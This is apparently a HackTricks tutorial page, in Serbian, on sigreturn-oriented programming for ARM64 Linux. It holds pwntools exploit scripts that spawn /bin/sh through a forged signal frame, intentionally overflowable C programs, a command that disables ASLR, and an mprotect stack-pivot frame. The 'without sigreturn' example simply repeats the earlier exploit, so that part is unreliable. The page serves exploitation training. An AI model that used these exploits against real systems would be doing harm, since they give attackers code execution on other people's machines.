> [!TIP]
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pwntools primer
Ovaj primer kreira ranjivi binarni fajl i koristi ga. Binarni fajl čita u stek i zatim poziva sigreturn:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof пример
Код
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Kompajlirati sa:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
Eksploit koristi bof da se vrati na poziv sigreturn i pripremi stek za poziv execve sa pokazivačem na /bin/sh.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof пример без sigreturn
Код
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
U sekciji vdso moguće je pronaći poziv na sigreturn na offsetu 0x7b0:
 (1).png)
Stoga, ako je otkriven, moguće je koristiti ovu adresu za pristup sigreturn ako binarni fajl ne učitava to:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Za više informacija o vdso proverite:
A da biste zaobišli adresu /bin/sh, možete kreirati nekoliko env varijabli koje upućuju na nju, za više informacija:
Automatsko pronalaženje sigreturn gadgeta (2023-2025)
Na modernim distribucijama sigreturn trampolin se i dalje izvozi putem vDSO stranice, ali tačan offset može varirati između verzija kernela i build flagova kao što su BTI (+branch-protection) ili PAC. Automatizacija njegovog otkrivanja sprečava hard-kodiranje offseta:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Oba alata razumeju AArch64 kodiranja i će navesti kandidate mov x8, 0x8b ; svc #0 sekvence koje se mogu koristiti kao SROP gadget.
Napomena: Kada su binarni fajlovi kompajlirani sa BTI, prva instrukcija svake važeće mete indirektne grane je
bti c.sigreturntrampolini koje postavlja linker već uključuju ispravnu BTI platformu za sletanje, tako da gadget ostaje upotrebljiv iz neprivilegovanog koda.
Povezivanje SROP-a sa ROP-om (pivot preko mprotect)
rt_sigreturn nam omogućava kontrolu svih registara opšte namene i pstate. Uobičajen obrazac na x86 je: 1) koristiti SROP za pozivanje mprotect, 2) pivotirati na novu izvršnu stek koja sadrži shell-code. Ista ideja funkcioniše na ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Nakon slanja okvira možete poslati drugu fazu koja sadrži sirovi shell-kod na 0x400000+0x100. Pošto AArch64 koristi PC-relative adresiranje, ovo je često pogodnije od izgradnje velikih ROP lanaca.
Validacija kernela, PAC & Shadow-Stacks
Linux 5.16 je uveo strožu validaciju korisničkih signalnih okvira (commit 36f5a6c73096). Kernel sada proverava:
uc_flagsmora sadržatiUC_FP_XSTATEkada jeextra_contextprisutan.- Rezervisana reč u
struct rt_sigframemora biti nula. - Svaka pokazivačka u extra_context zapisu je poravnata i pokazuje unutar korisničkog adresnog prostora.
pwntools>=4.10 automatski kreira usklađene okvire, ali ako ih pravite ručno, obavezno inicijalizujte rezervisano na nulu i izostavite SVE zapis osim ako vam zaista nije potreban—inače će rt_sigreturn isporučiti SIGSEGV umesto da se vrati.
Počevši od mainstream Android 14 i Fedora 38, korisnički prostor se kompajlira sa PAC (Pointer Authentication) i BTI omogućeni po defaultu (-mbranch-protection=standard). SROP sam po sebi nije pogođen jer kernel direktno prepisuje PC iz kreiranog okvira, zaobilazeći autentifikovani LR sačuvan na steku; međutim, svaki sledeći ROP lanac koji vrši indirektne grane mora skakati na BTI-om omogućene instrukcije ili PAC-ovane adrese. Imajte to na umu prilikom odabira gadgeta.
Shadow-Call-Stacks uvedeni u ARMv8.9 (i već omogućeni na ChromeOS 1.27+) su mitigacija na nivou kompajlera i ne ometaju SROP jer se ne izvršavaju instrukcije povratka—tok kontrole se prenosi od strane kernela.
Reference
- Linux arm64 signal handling documentation
- LWN – "AArch64 branch protection comes to GCC and glibc" (2023)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks